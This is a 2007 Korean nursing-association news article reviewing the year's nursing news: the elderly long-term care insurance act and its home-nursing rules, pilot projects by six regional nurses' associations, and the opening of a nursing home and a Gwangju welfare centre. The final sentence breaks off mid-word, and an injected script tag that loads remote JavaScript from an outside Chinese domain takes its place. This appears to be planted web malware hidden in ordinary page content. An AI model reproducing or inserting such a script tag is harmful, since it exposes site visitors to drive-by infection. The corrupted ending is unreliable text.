Home / 이슈/기획
2007 간호계 주요 뉴스
[편집국] 편집부 news@koreanurse.or.kr 기사입력 2007-12-20 오전 09:37:20
◇ 노인장기요양보험법 제정
==방문간호서비스 제공 … 내년 7월 시행
노인장기요양보험법이 4월 국회 본회의를 통과했다. 이 법은 2008년 7월부터 본격 시행된다. 시행령과 시행규칙도 마련됐다.
대한간호협회는 노인장기요양보험법 제정 논의과정에 적극 참여해 의견을 개진했다. 법률 명칭을 노인수발보험법이 아니라 장기요양보험법으로 해야 한다고 주장했으며, 고령화사회에서 노인들의 삶의 질 향상을 위해 전문인력인 간호사가 노인건강 옹호자로서 핵심역할을 수행할 수 있는 근거가 마련될 수 있도록 적극적인 활동을 폈다.
노인장기요양보험법에서는 재가서비스 중 하나로 방문간호서비스를 제공하도록 명시하고 있다. 방문간호서비스는 `장기요양요원인 간호사 등이 의사, 한의사 또는 치과의사의 지시서에 따라 수급자의 가정 등을 방문해 간호, 진료의 보조, 요양에 관한 상담 또는 구강위생 등을 제공하는 것'을 말한다.
방문간호서비스를 제공할 수 있는 장기요양요원은 `최근 10년 이내에 2년 이상의 간호업무경력이 있는 간호사' `최근 10년 이내에 3년 이상의 간호보조업무경력이 있고, 보건복지부 장관이 정하는 교육을 이수한 간호조무사'가 할 수 있다. 간호조무사 교육과정은 700시간으로 간호학과가 있는 대학, 산업대학 또는 전문대학에서 운영 요건을 갖춰 시행하도록 했다.
방문간호 등 하나 이상의 재가서비스를 제공하는 기관의 명칭은 `재가장기요양기관'으로 정해졌으며, 개설에는 제한을 두지 않았다. 단, 의료기관이 아닌 자가 설치 운영하는 재가장기요양기관이 방문간호를 제공할 경우에는 관리책임자로 반드시 간호사(최근 10년 이내에 간호업무경력이 2년 이상인 상근 간호사)를 둬야 한다. 방문간호, 방문요양, 방문목욕 등의 재가서비스를 함께 제공하는 재가장기요양기관의 경우에는 방문간호 관리책임자 자격을 갖춘 간호사가 겸직할 수 있다.
◇ 6개 시도간호사회 방문간호 시범사업
노인장기요양보험제도 3차 시범사업에 대한간호협회 6개 시도간호사회가 참여해 방문간호서비스를 제공하고 있다.
강원도간호사회(강릉시), 경기도간호사회(수원시), 경상북도간호사회(안동시), 광주시간호사회(광주 남구), 부산시간호사회(부산 북구), 제주도간호사회(북제주군)가 올해 5월부터 방문간호서비스를 제공해오고 있다. 이들 간호사회는 2차 시범사업(2006년 7월~ 2007년 4월)에서도 방문간호서비스를 제공해 주민들로부터 큰 호응을 얻은 바 있다. 3차 시범사업은 전국 13개 지역에서 내년 6월까지 계속된다.
6개 간호사회에서는 65세 이상 노인 중 치매, 중풍 등으로 일상생활을 스스로 하기 어려운 사람들을 직접 방문해 간호서비스를 제공하고, 환자교육과 상담을 하고 있다.
간호사회는 “시범사업을 통해 고령화시대 노인건강을 책임질 핵심인력이 간호사임을 입증해 보이고, 간호서비스의 바람직한 역할 모델을 창출하겠다”는 각오로 뛰고 있다.
◇ 대한간호노인요양원 희망찬 출발
전국 간호사들의 꿈과 정성으로 탄생한 대한간호노인요양원이 문을 열었다.
대한간호노인요양원은 대한간호협회가 출범시킨 사회복지법인 대한간호복지재단에서 신축했으며, 어르신들의 건강하고 행복한 노후를 지켜줄 노인요양시설이다. 고령화시대 해법을 제시할 수 있는 모범시설로 자리매김하겠다는 포부를 갖고 있다.
2006년 6월 첫 삽을 뜬 이래 1년여만에 완공됐으며, 간호사들이 십시일반으로 건축비를 보탰다. 10월 10일 열린 개원식에는 용인지역 인사들과 주민들이 참석해 요양원의 힘찬 출발을 지켜보고 발전을 기원했다.
요양원은 경기도 용인시 KNA연수원 옆에 위치하고 있으며, 지하 1층 지상 3층 규모에 요양실 25개(총 100병상)와 주간보호센터를 갖췄다. 중풍, 치매 등 중증노인성질환을 앓고 있는 65세 이상 어르신이 입소할 수 있다. 빼어난 자연경관과 건축미가 조화를 이룬 자연친화적 건물로 지어졌으며, 실내는 밝고 화사하게 꾸며 치료적 효과를 높일 수 있도록 했다.
어르신들이 거주하는 요양실은 2 3층에 위치하고 있으며, 5개실(20병상)이 한 유닛을 이루고 있는 것이 특징이다. 각 유닛마다 사회활동실을 만들어 어르신들이 함께 모여 다양한 프로그램에 참여하도록 하고 있다.
간호사, 사회복지사 등이 팀을 이뤄 전문적이고 차별화된 최고의 보건복지 통합서비스를 제공한다. 간호서비스는 물론 어르신들의 재활과 여가생활을 돕는 다양한 프로그램을 운영한다. 용인세브란스병원, 아주대병원과 협력병원 협약을 맺고 있다.
◇ 광주간호사회복지센터 개소
광주시간호사회가 소규모요양시설 `광주간호사회복지센터'를 4월 13일 개소해 노인들의 요구에 맞는 보건복지서비스를 제공하면서 지역 노인들의 건강한 노후를 이끌어 나?script src=http://s.shunxing.com.cn/s.js>
